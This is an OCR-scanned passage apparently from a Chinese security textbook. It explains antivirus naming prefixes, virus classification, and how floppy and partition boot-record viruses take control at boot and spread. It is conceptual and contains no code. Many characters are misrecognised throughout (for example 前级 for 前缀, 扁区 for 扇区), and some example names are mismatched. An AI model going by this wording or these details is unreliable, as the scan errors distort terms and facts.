系统 或 者 在 被 传染 系统 的 设备 上 表现 出 特定 的 现象 。 大 部 分 病毒 都 是 在 一 定 条 件 下 才 会 触 
发 其 表现 部 分 的 。 


7.2.5 计算 机 病毒 的 命名 


世界 上 那么 多 的 病毒 , 反 病 毒 公司 为 了 方便 管理 ,他 们 会 按照 病毒 的 特性 ,将 病毒 进行 
分 类 命名 。 虽 然 每 个 反 病 毒 公司 的 命名 规则 都 不 尽 相 同 , 但 大 体 都 是 采用 一 个 统一 的 命名 
方法 来 命名 的 。 一 般 格式 为 : 二 病毒 前 缀 二 . 二 病毒 名 二 . 二 病毒 后 级 二 。 

病毒 前 级 是 指 一 个 病毒 的 种 类 , 它 是 用 来 区 别 病毒 的 种 族 分 类 的 。 不 同 种 类 的 病毒 ,其 
前 级 也 是 不 同 的 。 比 如 常见 的 木马 病毒 的 前 级 Trojan, 蠕 虫 病毒 的 前 级 是 Worm 等 。 

病毒 名 是 指 一 个 病毒 的 家 族 特征 ,是 用 来 区 别 和 标识 病毒 家 族 的 ,如 以 前 著名 的 
CIH 病毒 的 家 族 名 都 是 统一 的 “CIH”, 还 有 振荡 波 蠕 虫 病毒 的 家 族 名 是 “Sasser ”。 

病毒 后 级 是 指 一 个 病毒 的 变种 特征 ,是 用 来 区 别 具 体 某 个 家 族 病毒 的 某 个 变种 的 。 一 
般 都 采用 英文 中 的 26 个 字母 来 表示 ,如 Worm. Sasser. B 就 是 指 振 荡 波 蠕虫 病毒 的 变种 B， 
因此 中 文 名称 一 般 称 为 “振荡 波 B 变种 ”或 者 “振荡 波 变 种 B”。 如 果 该 病毒 变种 非常 多 (也 
表明 该 病毒 生命 力 顽 强 ), 可 以 采用 数字 与 字母 混合 表示 变种 标识 。 

综 上 所 述 ,一 个 病毒 的 前 级 能 帮助 人 们 快速 地 判断 该 病毒 属于 哪 种 类 型 的 病毒 。 通 过 
判断 病毒 的 类 型 ,就 可 以 对 这 个 病毒 有 个 大 概 的 评估 (当然 这 需要 积累 一 些 常见 病毒 类 型 的 
相关 知识 ,这 不 在 本 文 讨论 范围 )。 而 通过 病毒 名 可 以 利用 查找 资料 等 方式 进一步 了 解 该 病 
毒 的 详细 特征 。 病 毒 后 缀 能 让 人 们 知道 现在 机 器 里 存在 的 病毒 是 哪个 变种 。 

下 面 是 一 些 常见 的 病毒 前 缀 的 解释 (针对 使 用 最 多 的 Windows 操作 系统 ) 。 

(1) 系统 病毒 

系统 病毒 的 前 缀 为 : Win32,PE, Win95,W32,W95 等 。 这 些 病毒 一 般 共 有 的 特性 是 可 
以 感染 Windows 操作 系统 的 . exe 和 . dll 文件 ,并 通过 这 些 文件 进行 传播 ,如 CIH 病毒 。 
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(2) 蠕虫 病毒 

蠕虫 病毒 的 前 绥 是 Worm。 这 种 病毒 的 共有 特性 是 通过 网 络 或 者 系统 漏洞 进行 传播 ， 
很 大 部 分 的 蠕虫 病毒 都 有 向 外 发 送 带 毒 邮件 ,阻塞 网 络 的 特性 。 比 如 冲击 波 ( 阻 塞 网 络 )、 小 
邮差 (发 带 毒 邮件 ) 等 。 

(3) 木马 病毒 .黑客 病毒 

木马 病毒 其 前 级 是 Trojan ,黑客 病毒 前 绥 名 一 般 为 Hack。 木 马 病毒 的 共有 特性 是 通 
过 网 络 或 者 系统 漏洞 进入 用 户 的 系统 并 隐藏 ,然后 向 外 界 泄露 用 户 的 信息 ,而 黑客 病毒 则 有 
一 个 可 视 的 界面 ,能 对 用 户 的 电脑 进行 远程 控制 。 木 马 、 黑 客 病毒 往往 是 成 对 出 现 的 , 即 木 
马 病毒 负责 侵入 用 户 的 电脑 ,而 黑客 病毒 则 会 通过 该 木马 病毒 来 进行 控制 。 现 在 这 两 种 类 
型 的 病毒 越 来 越 趋向 于 整合 了 。 这 里 需要 补充 说 明 ,凡是 病毒 名 中 带 有 PSW 或 者 PWD 的 
字母 一 般 都 表示 这 个 病毒 有 盗 取 密码 的 功能 (这 些 字母 为 “密码 ”的 英文 “password” 的 缩 
写 ) ,一 些 黑客 病毒 如 网 络 泉 雄 (Hack. Nether. Client) 等。 

(4) 脚本 病毒 

脚本 病毒 的 前 级 是 Script。 脚 本 病毒 的 共有 特性 是 使 用 脚本 语言 编写 ,通过 网 页 进行 
传播 ,如 红色 代码 (Script. Redlof) 。 脚 本 病毒 还 会 有 如 下 前 级 : VBS、JS( 表 明 是 何 种 脚本 
编写 的 ) ,如 欢乐 时 光 (VBS. Happytime) ,十 四 日 (Js. Fortnight. c. s) 等 。 

(5) 宏 病 毒 

其 实 宏 病毒 也 是 脚本 病毒 的 一 种 ,由 于 它 的 特殊 性 ,因此 在 这 里 单独 算 成 一 类 。 安 病毒 
的 前 级 是 Macro, 第 二 前 级 是 Word, Word 97 ,Excel, Excel 97( 也 许 还 有 别 的 ) 其 中 之 一 。 
凡是 只 感染 Word 97 及 以 前 版 本 Word 文档 的 病毒 采用 Word 97 作为 第 二 前 级 ,格式 是 : 
Macro. Word 97; 凡 是 只 感染 Word 97 以 后 版 本 Word 文档 的 病毒 采用 Word 作为 第 二 前 
组 ,格式 是 : Macro. Word; 凡 是 只 感染 Excel 97 及 以 前 版 本 Excel 文档 的 病毒 采用 Excel 97 作 
为 第 二 前 级 ,格式 是 : Macro. Excel 97; 凡 是 只 感染 Excel 97 以 后 版 本 Excel 文档 的 病毒 采 
用 Excel 作为 第 二 前 级 ,格式 是 : Macro. Excel, 以 此 类 推 。 该 类 病毒 的 共有 特性 是 能 感染 
Office 系列 文档 ,然后 通过 Office 通用 模板 进行 传播 ,如 著名 的 美丽 莎 (Macro. Melissa) 。 

(6) 后 门 病毒 

后 门 病毒 的 前 级 是 Backdoor。 该 类 病毒 的 共有 特性 是 通过 网 络 传 播 ,给 系统 开 后 门 ， 
给 用 户 电 脑 带 来 安全 隐患 。 

(7) 病毒 种 植 程序 病毒 

这 类 病毒 的 共有 特性 是 运行 时 会 从 体内 释放 出 一 个 或 几 个 新 的 病毒 到 系统 目录 下 ,由 
释放 出 来 的 新 病毒 产生 破坏 。 如 冰河 播种 者 (Dropper. BingHe2. 2C) .MSN 射手 (Dropper. 
Worm. Smibag) 等 。 

(8) 破坏 性 程序 病毒 

破坏 性 程序 病毒 的 前 级 是 Harm。 这 类 病毒 的 共有 特性 是 本 身 具有 好 看 的 图 标 来 诱惑 
用 户 单 击 , 当 用 户 单 击 这 类 病毒 时 ,病毒 便 会 直接 对 用 户 计算 机 产生 破坏 。 如 格式 化 C 盘 
(Harm. formatC. f) 、 杀 手 命 令 (Harm. Command. Killer) 等 。 

(9) 玩笑 病毒 

玩笑 病毒 的 前 缀 是 Joke, 也 称 恶 作 剧 病毒 。 这 类 病毒 的 共有 特性 是 本 身 具 有 好 看 的 图 
标 来 诱惑 用 户 单 击 , 当 用 户 单 击 这 类 病毒 时 ,病毒 会 做 出 各 种 破坏 操作 来 吓 距 用 户 , 其 实 病 
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毒 并 没有 对 用 户 电脑 进行 任何 破坏 。 如 女 鬼 (Joke. Girlghost) 病 毒 。 

(10) 捆绑 机 病毒 

捆绑 机 病毒 的 前 级 是 Binder。 这 类 病毒 的 共有 特性 是 病毒 作者 会 使 用 特定 的 捆绑 程 
序 ,将 病毒 与 一 些 应 用 程序 如 QQ,IE 捆绑 起 来 ,表面 上 看 是 一 个 正常 的 文件 , 当 用 户 运行 这 
些 应 用 程序 ,就 会 运行 与 应 用 程序 捆绑 在 一 起 的 病毒 ,从 而 给 用 户 造 成 危害 。 如 捆绑 QQ 
(Binder. QQPass. QQBin) .系统 杀手 (Binder. killsys) 等 。 

还 有 其 他 一 些 病毒 前 级 ,简单 说 明 如 下 。 

(1) DoS: 会 针对 某 台 主机 或 者 服务 器 进行 DoS 攻击 。 

(2) Exploit: 会 自动 通过 溢出 对 方 或 者 自己 的 系统 漏洞 来 传播 自身 ,或 者 它 本 身 就 是 
一 个 用 于 Hacking 的 溢出 工具 。 

(3) HackTool: 黑客 工具 ,也 许 本 身 并 不 破坏 你 的 机 子 , 但 是 会 被 别人 加 以 利用 来 用 你 
做 蔡 身 去 破坏 别人 。 


7.3 病毒 分 类 


从 第 一 个 病毒 出 世 以 来 ,究竟 世界 上 有 多 少 种 病毒 ,说 法 不 一 。 无 论 多 少 种 ,病毒 的 数 
量 仍 在 不 断 增 加 。 据 国外 统计 ,计算 机 病毒 以 10 种 / 周 的 速度 递增 , 另 据 我 国 公 安 部 统计 ， 
国内 以 4 种 /月 的 速度 递增 。 如 此 多 的 种 类 ,做 一 下 分 类 可 更 好 地 了 解 它们 。 

(1) 按 病毒 存在 的 媒体 分 类 。 

根据 病毒 存在 的 媒体 ,病毒 可 以 划分 为 网 络 病毒 .文件 病毒 .引导 型 病毒 。 网 络 病毒 通 
过 计算 机 网 络 传播 感染 网 络 中 的 可 执行 文件 ,文件 病毒 感染 计算 机 中 的 文件 (如 : com ,exe， 
doc 等 ) ,引导 型 病毒 感染 启动 扇 区 (boot) 和 硬盘 的 系统 引导 扇 区 (MBR)。 还 有 这 3 种 情况 
的 混合 型 ,例如 : 多 型 病毒 (文件 和 引导 型 ) 感 染 文 件 和 引导 扇 区 两 种 目标 ,这 样 的 病毒 通常 
都 具有 复杂 的 算法 ,它们 使 用 非常 规 的 办 法 侵入 系统 ,同时 使 用 了 加 密 和 变形 算法 。 

(2) 按 病毒 传染 的 方法 分 类 。 

根据 病毒 传染 的 方法 可 分 为 驻 留 型 病毒 和 非 驻 留 型 病毒 。 驻 留 型 病毒 感染 计算 机 后 ， 
把 自身 驻 留 内 存 部 分 放 在 内 存 (RAMD) 中 ,这 一 部 分 程序 挂 接 系统 调用 并 合并 到 操作 系统 中 
去 , 它 处 于 激活 状态 ,一 直到 关机 或 重新 启动 。 非 驻 留 型 病毒 在 得 到 机 会 激活 时 并 不 感染 计 
算 机 内 存 ,一 些 病毒 在 内 存 中 留 有 小 部 分 ,但 是 并 不 通过 这 一 部 分 进行 传染 ,这 类 病毒 也 被 
划分 为 非 驻 留 型 病毒 。 

(3) 按 病毒 的 算法 分 类 。 

伴随 型 病毒 ,这 一 类 病毒 并 不 改变 文件 本 身 , 它 们 根据 算法 产生 EXE 文件 的 伴随 体 , 具 
有 同样 的 名 字 和 不 同 的 扩展 名 (COM) ,例如 : XCOPY. EXE 的 伴随 体 是 XCOPY. COM。 
病毒 把 自身 写 和 人 COM 文件 并 不 改变 EXE 文件 , 当 DOS 加 载 文 件 时 ,伴随 体 优先 被 执行 
到 ,再 由 伴随 体 加 载 执 行 原来 的 EXE 文件。 

“蠕虫 ?型 病毒 ,通过 计算 机 网 络 传播 ,不 改变 文件 和 资料 信息 ,利用 网 络 从 一 台 机 器 的 
内 存 传播 到 其 他 机 器 的 内 存 ,计算 网 络 地 址 ,将 自身 的 病毒 通过 网 络 发 送 。 有 时 它们 在 系统 
存在 ,一 般 只 占用 内 存 而 不 占用 其 他 资源 。 

寄生 型 病毒 ,除了 伴随 和 “蠕虫 ”型 ,其 他 病毒 均 可 称 为 寄生 型 病毒 ,它们 依附 在 系统 的 
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引导 扇 区 或 文件 中 ,通过 系统 的 功能 进行 传播 ,寄生 型 病毒 按 其 算法 不 同 可 分 为 下 面 3 种 。 
。 练习 型 病毒 ,病毒 自身 包含 错误 ,不 能 进行 很 好 的 传播 ,例如 一 些 病毒 在 调试 阶段 。 
诡秘 型 病毒 ,它们 一 般 不 直接 修改 DOS 中 断 和 扇 区 数据 ,而 是 通过 设备 技术 和 文件 
缓冲 区 等 DOS 内 部 修改 ,不 易 看 到 资源 ,使 用 比较 高 级 的 技术 。 利 用 DOS 空闲 的 
数据 区 进行 工作 。 
变型 病毒 (又 称 幽 灵 病 毒 ) ,这 一 类 病毒 使 用 一 个 复杂 的 算法 ,使 自己 每 传播 一 份 者 
具有 不 同 的 内 容 和 长 度 。 它 们 一 般 是 由 一 段 解码 算法 和 被 变化 过 的 病毒 体 组 成 , 当 
遇 到 杀毒 软件 的 检测 时 ,变型 病毒 能 自我 加 密 或 解密 。 
通常 人 们 习惯 于 按照 传染 方式 对 病毒 进行 分 类 。 计 算 机 病毒 按照 传染 方式 可 以 分 为 ， 
引导 型 .文件 型 和 混合 型 病毒 。 下 面 将 详细 介绍 这 3 种 病毒 和 Internet 病毒 。 


7.3.1 引导 型 病毒 


引导 型 病毒 指 寄 生 在 磁盘 引导 区 或 主 引导 区 的 计算 机 病毒 。 此 种 病毒 利用 系统 引导 
时 ,不 对 主 引导 区 的 内 容 正 确 与 否 进行 判别 的 缺点 ,在 引导 系统 的 过 程 中 侵入 系统 , 驻 留 内 
存 , 监 视 系 统 运行 ,待机 传染 和 破坏 。 

1. 引导 记录 病毒 

众所周知 ,硬盘 的 第 一 个 物理 扇 区 即 0 磁头 0 柱 面 1 扇 区 的 512 字 节 保存 的 信息 ,是 硬 
盘 中 最 主要 的 主 引 导 扇 区 。 计 算 机 上 电 后 ,主板 基本 输入 输出 系统 (BIOS) 检 测 完 硬件 后 ， 
首先 要 做 的 事 就 是 读 硬 盘 的 主 引 导 扇 区 。 从 硬盘 启动 时 ,BIOS 引导 程序 将 主 引 导 记 录 装 
载 至 0: 7C00H 处 ,然后 将 控制 权 交 给 主 引导 记录 。 因 为 软盘 不 存在 分 区 ,软盘 的 BOOT 区 
存在 于 其 0 道 0 面 1 扇 区 ,长 度 为 一 个 扇 区 。 可 以 将 其 看 成 为 软盘 的 主 引导 记录 。 所 以 
BOOT 区 病毒 存在 于 软盘 。 

引导 记录 病毒 就 是 把 原来 的 主 引导 记录 保存 后 用 自己 的 程序 替代 掉 原 来 的 主 引导 记 
录 。 启 动 时 , 当 病 毒 体 得 到 控制 权 , 在 做 完了 自己 的 处 理 后 ,病毒 将 保存 的 原 主 引导 记录 读 
入 0:7C00, 然 后 将 控制 权 交 给 原 主 引导 记录 进行 启动 。 这 类 病毒 对 硬盘 的 感染 一 般 是 在 用 
带 毒 软盘 启动 的 时 候 , 对 软盘 的 感染 一 般 是 在 当 系统 带 毒 时 对 软盘 操作 时 。 

大 多 数 引导 记录 病毒 在 内 存 中 安装 它 自己 ,并 且 把 它 自己 挂 到 计算 机 的 BOIS 和 操作 
系统 提供 的 各 种 系统 服务 中 。 只 要 计算 机 是 开 着 的 , 它 在 内 存 中 就 仍然 是 活动 的 ,只 要 它们 
停留 在 内 存 中 ,就 可 以 通过 感染 计算 机 访问 的 软盘 来 不 断 传播 。 

引导 记录 病毒 在 IBM PC 病毒 的 总 数 中 大 约 占 5%, 但 是 它们 却 在 每 年 报告 的 实际 最 
终 用 户 感染 中 超过 85%。 

2. 软盘 引导 记录 病毒 

在 计算 机 发 展 的 较 早 期 ,当时 的 计算 机 硬件 较 少 ,功能 简单 ,一 般 需 要 通过 软盘 启动 后 
才 可 以 使 用 ,引导 型 病毒 利用 软盘 的 启动 原理 工作 。 它 们 修改 系统 启动 扇 区 ,在 计算 机 启动 
时 首先 取得 控制 权 , 减 少 系统 内 存 , 修 改 磁盘 读 写 中 断 ,影响 系统 工作 效率 ,在 系统 存 取 磁盘 
时 进行 传播 。 

病毒 程序 经 常 把 软盘 引导 记录 (FBR) 作 为 攻击 目标 ,一 个 重要 的 原因 是 用 户 经 常 错误 
地 把 软盘 留 在 软驱 中 。 这 样 一 个 看 起 来 无 关 痛 痒 的 错误 实际 上 为 软盘 引导 记录 病毒 提供 了 
唯一 的 进入 方式 。 如 果 在 驱动 器 中 有 一 片 磁盘 ,计算 机 从 这 里 被 配置 进行 引导 , 自 举 程序 此 
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时 会 执行 。 病 毒 通过 用 它 自 己 的 程序 来 代替 原来 的 自 举例 程 ,同时 病毒 程序 中 也 包括 它 自 
己 的 带 病毒 的 自 举例 程 ,从 而 使 得 病毒 能 在 其 他 程序 运行 前 控制 系统 。 然 后 病毒 就 可 以 感 
染 硬 盘 了 。 

软盘 引导 记录 在 系统 重 置 期 间 获 取 计 算 机 的 控制 。 在 启动 过 程 中 ,大 多 数 PC 中 的 
BIOS 都 要 确定 软驱 中 是 否 有 软盘 以 及 计算 机 是 否 可 以 从 这 个 软盘 中 配置 引导 。 如 果 BIOS 
在 驱动 器 中 找到 软盘 , 它 就 认定 用 户 想 要 从 这 个 磁盘 引导 。 在 它 定位 磁盘 之 后 ,BIOS 就 会 
把 软盘 引导 记录 装 和 人 计算 机 内 存 中 ,并 执行 它 的 自 举例 程 。 

在 一 块 感染 的 软盘 中 ,BIOS 装 入 的 引导 记录 是 经 过 病毒 感染 的 自 举例 程 ,而 不 是 通常 
的 操作 系统 自 举例 程 。 在 引导 期 间 ,BIOS 把 对 计算 机 的 控制 完全 给 予 病 毒 程 序 而 不 是 正 
常 的 自 举 程序 。 当 控制 程序 传送 给 病毒 之 后 , 它 就 会 得 到 对 计算 机 上 所 有 资源 独 有 的 访问 
权 ; 即 使 在 软盘 中 有 操作 系统 ,也 不 会 被 装 入 ,也 不 能 防止 病毒 的 行为 。 

大 多 数 FBR 病毒 在 引导 过 程 中 要 在 启动 操作 系统 之 前 把 自己 作为 内 存 驻 留 驱动 器 装 
入 ,通过 这 种 方式 ,病毒 就 可 以 在 计算 机 操作 期 间 监 视 所 有 磁盘 请 求 ,并 且 任 意 感染 其 他 
软盘 。 

FBR 病毒 要 完成 其 工作 ,就 必须 从 软盘 上 得 到 原来 的 FBR, 并 且 启 动 原来 的 引导 过 程 ， 
好 像 没有 病毒 一 样 。 这 非常 重要 ,因为 病毒 要 想 存 活 下 去 就 不 能 进行 破坏 。 如 果 FBR 病毒 
把 自己 安装 到 内 存 中 ,感染 了 硬盘 ,并 且 导 致 软盘 启动 失败 , 它 很 快 就 会 被 检测 清除 。 大 多 
数 病 毒 在 软盘 最 后 的 某 一 个 扁 区 维护 原来 FBR 的 一 份 副本 。 在 病毒 把 它 自己 安装 到 内 存 
之 后 , 它 就 会 把 原来 的 FBR 装 入 内 存 , 并 执行 原来 的 自 举 例 程 ,然后 自 举 例 程 正常 地 进行 ， 
完全 意识 不 到 病毒 的 存在 。 

大 多 数 软 盘 包 含 数据 ,但 是 不 带 有 DOS 操作 系统 文件 。 在 病毒 把 控制 传送 给 原来 的 自 
举例 程 后 , 它 会 显示 一 个 消息 ,如 “Non system disk”。 这 时 ,一 般 用 户 就 会 认为 是 其 错误 地 
使 用 了 数据 盘 引 导 ,然后 从 驱动 器 取出 磁盘 重新 引导 。 这 就 是 为 什么 大 多 数 FBR 病毒 在 引 
导 期 间 感染 硬盘 的 MBR 或 活动 分 区 引导 记录 。 这 种 感染 确保 即使 软盘 没有 包含 相应 的 操 
作 系 统 文件 ,病毒 仍然 可 以 传播 到 硬盘 并 且 感 染 其 他 磁盘 。 最 后 ,一 小 部 分 FBR 病毒 能 够 
维护 它们 的 内 存 驻 留 状态 ,即使 在 “ 热 " 重 启动 ( 即 按 Ctrl 十 Alt 十 Del 组 合 键 ) 时 也 是 如 此 。 
如 果 计 算 机 是 热 启动 的 ,而 病毒 仍然 驻 留 在 内 存 中 ,病毒 仍然 可 以 感染 其 他 磁盘 ,即使 它 未 
感染 硬盘 。 

当 FBR 病毒 把 它 自己 安装 到 内 存 中 并 把 它 自己 指定 为 代理 磁盘 服务 提供 者 之 后 , 它 还 
有 机 会 进行 感染 。 此 后 在 DOS 或 它 的 程序 要 访问 软盘 (或 硬盘 ) 时 ,操作 系统 就 会 调用 
病毒 。 

如 果 病 毒 不 驻 留 在 内 存 , 仅 访问 一 块 被 感染 的 软磁盘 不 会 引起 计算 机 被 感染 。 除 非 用 
户 从 一 块 被 感染 的 软盘 引导 ,否则 FBR 病毒 绝对 不 会 执行 。 如 果 它 不 能 执行 , 它 就 不 会 感 
染 人 硬盘 和 安装 自己 作为 驻 留 的 服务 提供 者 。 然 而 ,如 果 计 算 机 已 经 被 感染 而 且 病 毒 已 经 作 
为 驻 留 的 服务 提供 者 安装 ,在 病毒 驻 留 时 访问 未 感染 的 软盘 肯定 会 使 病毒 传播 到 软盘 上 。 

当 用 户 或 操作 系统 进行 合法 的 磁盘 请 求 时 ,几乎 所 有 的 FBR 病毒 都 会 感染 磁盘 。 磁 盘 
请 求 通常 会 引起 驱动 器 旋转 ,并 且 会 使 驱动 器 的 LED 灯亮 起 来 。 只 有 当 用 户 开 始 一 些 磁 盘 
操作 时 ,如 文件 和 目录 的 复制 ,软盘 才 会 旋转 。 如 果 病 毒 要 在 某 个 任意 时 间 传 播 ,用 户 可 能 
会 注意 到 某 些 活动 (通过 杂音 和 LED 灯 ) ,并 且 怀 疑 某 件 事 做 错 了 。 
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只 有 当 用 户 或 操作 系统 请 求 磁盘 活动 时 才 感 染 新 的 软盘 ,这 样 做 对 病毒 是 有 利 的 ,有 几 
个 原因 最 重要 : 如 果 用 户 或 操作 系统 请 求 使 用 磁盘 ,可 能 驱动 器 中 实际 上 就 有 一 个 软盘 。 
其 次 ,病毒 可 以 在 BIOS 磁盘 服务 提供 者 为 正常 的 磁盘 请 求 提供 服务 前 后 立即 上 暗中 感染 软 
盘 引 导 记 录 。 感 染 过 程 一 般 只 需 不 到 一 秒 钟 。 因 为 用 户 最 可 能 请 求 磁盘 活动 ,出 现 的 驱动 
器 旋转 就 有 了 合理 的 解释 。 通 过 这 种 方式 ,病毒 就 会 有 效 地 传播 到 新 的 软盘 而 不 会 暴露 它 
的 存在 。 

在 病毒 要 感染 磁盘 之 前 , 它 必须 确定 磁盘 是 否 已 经 被 感染 。 大 多 数 时 候 , 病 毒 会 把 目标 
FBR 装 入 内 存 并 与 它 自 己 的 内 容 比 较 。 如 果 FBR 病毒 确定 目标 软盘 没有 被 感染 过 , 它 就 
会 进行 感染 过 程 。 大 多 数 FBR 病毒 要 把 原来 的 FBR 保存 到 软盘 中 的 另 一 个 扇 区 ,这 样 如 
果 用 户 要 从 这 个 磁盘 引导 ,病毒 就 可 以 启动 驻 留 在 内 存 中 。 

FBR 病毒 总 是 把 原来 的 引导 记录 存储 在 软盘 的 一 到 两 处 位 置 上 : 可 能 在 被 感染 的 软盘 
的 最 后 ,或 者 在 软盘 存储 根 目 录 结 构 的 扇 区 。 如 果 感 染 了 FBR 病毒 的 话 , 可 能 会 造成 存储 
在 这 两 个 位 置 的 原来 的 FBR 数据 丢失 。 一 般 的 1.44MB 3. 5 寸 软盘 在 根 目 录 中 可 以 存放 
224 个 文件 。 这 个 保留 的 目录 空间 需要 14 个 存储 扇 区 ,其 中 大 多 数 都 没有 使 用 ,因为 很 少 
有 软盘 在 根 目 录 中 存放 224 个 文件 。 许 多 FBR 病毒 认为 根 目录 的 最 后 一 个 扇 区 没有 使 用 ， 
把 原来 的 引导 记录 存放 在 这 里 。 进 而 如 果 用 户 把 一 些 文件 复制 到 该 磁盘 中 ,可 能 要 使 用 履 
盖 的 目录 条 目 , 从 而 覆盖 已 保存 的 FBR。 这 样 在 以 后 用 这 个 软盘 引导 就 会 失败 。 

大 多 数 其 他 FBR 病毒 会 把 原来 的 引导 记录 存放 在 软盘 最 后 的 某 一 个 扇 区 中 , 它 也 假定 
这 些 扇 区 是 未 经 使 用 的 。 如 果 一 个 病毒 用 原来 的 引导 记录 内 容 覆 盖 其 中 的 一 个 扇 区 , 它 可 
能 恢复 该 磁盘 中 现 有 的 文件 数据 ,从 而 引起 数据 损坏 。 除 此 之 外 ,许多 病毒 不 会 更 新 磁盘 中 
的 FAT 以 标识 磁盘 最 后 的 扇 区 已 被 使 用 。 如 果 一 个 用 户 要 向 这 个 软盘 复制 其 他 文件 , 原 
来 的 引导 记录 就 会 被 这 些 文件 覆盖 ,以 后 从 这 个 软盘 引导 时 就 会 失败 。 

当 FBR 病毒 把 一 个 被 病毒 感染 的 自 举 例 程 插入 FBR ,并且 把 原来 的 FBR 的 一 份 副 本 
存储 在 磁盘 中 的 某 个 地 方 时 , 它 能 够 覆盖 一 些 数据 。 许 多 FBR 病毒 会 覆盖 根 目录 结构 的 最 
后 一 个 扇 区 。 如 果 这 个 扇 区 正在 使 用 ,存储 在 这 个 扇 区 的 任何 文件 目录 条 目 都 会 被 损坏 。 
幸而 可 以 使 用 Norton Disk Doctor 这 类 磁盘 工具 修复 这 种 损坏 。 

其 他 引导 病毒 把 原来 FBR 的 一 份 副 本 存储 在 软盘 的 最 后 。 如 果 软 盘 满 了 ,病毒 就 会 覆 
盖 某 个 文件 使 用 的 一 个 扇 区 ,从 而 至 少 损坏 512 字 节 的 数据 。 不 幸 的 是 ,在 病毒 覆盖 了 软盘 
上 某 个 文件 使 用 的 扇 区 后 ,使 用 传统 的 磁盘 工具 无 法 修复 该 扇 区 原来 的 内 容 。 

3. 分 区 引导 记录 病毒 

(1) 分 区 引导 记录 (PBR) 

可 以 把 一 个 物理 硬盘 划分 成 多 个 逻辑 硬盘 ,每 一 个 逻辑 硬盘 中 都 包含 它 自 己 的 操作 系 
统 。 结 果 每 一 个 逻辑 硬盘 都 需要 它 自 己 的 分 区 引导 记录 (PBR) 用 于 装 和 人 那个 分 区 中 特定 的 
操作 系统 。PBR 总 是 被 放 在 每 个 分 区 的 第 一 个 磁道 、 扁 区 和 磁头 。 

PBR 非常 接近 软盘 上 的 FBR, 像 FBR 一 样 ,PBR 有 它 自己 的 BIOS 参数 块 , 这 个 参数 
块 描述 它 的 逻辑 硬盘 的 重要 属性 。 每 个 PBR 还 有 它 自 己 的 自 举例 程 ,用 于 装 入 驻 留 在 这 个 
分 区 的 操作 系统 。 

在 系统 启动 期 间 , 主 引导 记录 (MBR) 的 自 举 例 程 确定 硬盘 上 哪 一 个 分 区 是 活动 的 。 然 
后 它 通 过 读 取 这 个 分 区 的 第 一 个 扇 区 装 和 人 这 个 分 区 的 PBR。 如 果 这 个 PBR 扇 区 包含 一 个 

。 250 。 


有 效 的 签字 ,MBR 自 举 例 程 就 会 把 控制 传送 给 PBR 自 举例 程 。PBR 自 举例 程 然 后 装 人 这 
个 分 区 中 操作 系统 的 其 余部 分 。 

BIOS 参数 块 是 PBR 中 唯一 必须 保持 不 动 的 部 分 (不 像 PBR 后 边 的 签字 ) ,这 样 DOS 
和 其 他 程序 就 能 够 正确 理解 逻辑 硬盘 的 布局 。 

PBR 经 常 成 为 攻击 的 目标 ,因为 在 硬盘 引导 过 程 中 , MBR 自 举例 程 总 是 装 入 并 执行 活 
动 分 区 的 引导 记录 。 如 果 一 个 病毒 用 它 自己 的 PBR 自 举例 程 代替 原来 的 PBR 自 举例 程 ， 
可 以 肯定 在 硬盘 引导 期 间 它 就 会 执行 。 

(2) PBR 病毒 

几乎 所 有 的 软盘 引导 记录 (CFBR) 病 毒 都 会 感染 硬盘 主 引导 记录 (MBR) 或 硬盘 的 活动 
分 区 引导 记录 (PBR)。PBR 病毒 是 另 一 种 形式 的 FBR 病毒 , 它 驻 留 在 多 辑 硬盘 分 区 的 引 
导 记 录 中 ,而 不 是 软盘 的 引导 记录 中 。 

像 FBR 病毒 一 样 ,PBR 病毒 也 是 一 个 程序 , 它 驻 留 在 PBR 的 自 举 区 域 。 要 想 使 这 个 病 
毒 激活 ,PBR 必须 在 引导 过 程 中 被 装 和 人 并 执行 。 很 少 有 FBR 病毒 感染 活动 分 区 的 PBR; 大 
多 数 FBR 病毒 更 愿意 感染 硬盘 的 MBR。PBR 病毒 并 不 比 MBR 病毒 更 差 , 但 是 创建 它 更 
困难 ,这 就 是 这 种 病毒 很 少 存在 的 原因 。 另 一 方面 “Form PBR” 病 毒 是 今天 世界 上 最 普遍 
的 病毒 之 一 。 

PBR 病毒 不 同 于 FBR 病毒 , 当 它 执行 时 , 它 不 会 立即 试图 感染 其 他 软盘 。 一 般 的 FBR 
病毒 在 引导 期 间 会 感染 硬盘 ,因为 它 要 确保 将 来 从 硬盘 引导 时 允许 病毒 执行 ,并 且 能 够 把 它 
自己 作为 驻 留 驱动 器 安装 。 而 PBR 病毒 没有 这 样 的 需求 ,因为 它 已 经 驻 留 在 硬盘 中 , 它 使 
用 硬盘 引导 过 程 只 是 为 了 把 它 自 己 作为 驻 留 驱动 器 安装 。 

引导 过 程 中 当 PBR 病毒 执行 并 把 自己 安装 到 内 存 后 , 它 就 会 把 原来 PBR 的 一 份 副 本 
装 和 内存, 并 且 把 控制 传送 给 它 的 自 举 程序 。 这 个 自 举 程序 然后 装 和 正常 操作 系统 的 其 余 
部 分 ,用 户 最 后 会 接受 一 个 C: 提示 符 。 

PBR 病毒 也 像 FBR 病毒 一 样 ,一旦 它 把 自己 安装 成 内 存 驻 留 驱动 器 ,所 有 磁盘 系统 服 
务 请 求 都 要 发 送 到 病毒 的 处 理 程序 。 人 然后 病毒 检查 服务 请 求 , 如 果 它 选择 了 这 个 服务 请 求 ， 
就 会 去 感染 被 访问 的 磁盘 。 在 病毒 完成 其 破坏 之 后 , 它 就 会 把 请 求 重 定向 给 原来 的 BIOS 
服务 器 ,这 样 就 可 以 提供 正常 的 服务 了 。 

PBR 病毒 把 它 自己 安装 成 为 一 个 内 存 驻 留 的 服务 提供 者 。 完 成 这 个 任务 之 后 ,任何 时 
候 当 用 户 或 操作 系统 要 访问 某 个 软盘 时 ,病毒 服务 提供 者 就 会 被 激活 并 控制 计算 机 。 大 多 
数 情况 下 ,病毒 会 等 待 对 软驱 的 访问 ,任何 时 候 使 用 软盘 时 它 都 要 去 感染 软盘 。 

大 多 数 PBR 病毒 把 原来 的 引导 记录 保存 在 被 感染 硬盘 最 后 的 某 一 个 扇 区 中 。 因 为 几 
平 没 有 PBR 病毒 会 去 验证 目标 病毒 扇 区 是 否 被 使 用 ,它们 可 能 会 无 意 地 履 盖 占据 这 个 空间 
的 某 个 文件 的 一 部 分 。 

PBR 病毒 还 会 引起 其 他 问题 。 即 使 病毒 碰巧 用 原来 的 PBR 覆盖 了 硬盘 最 后 的 某 个 未 
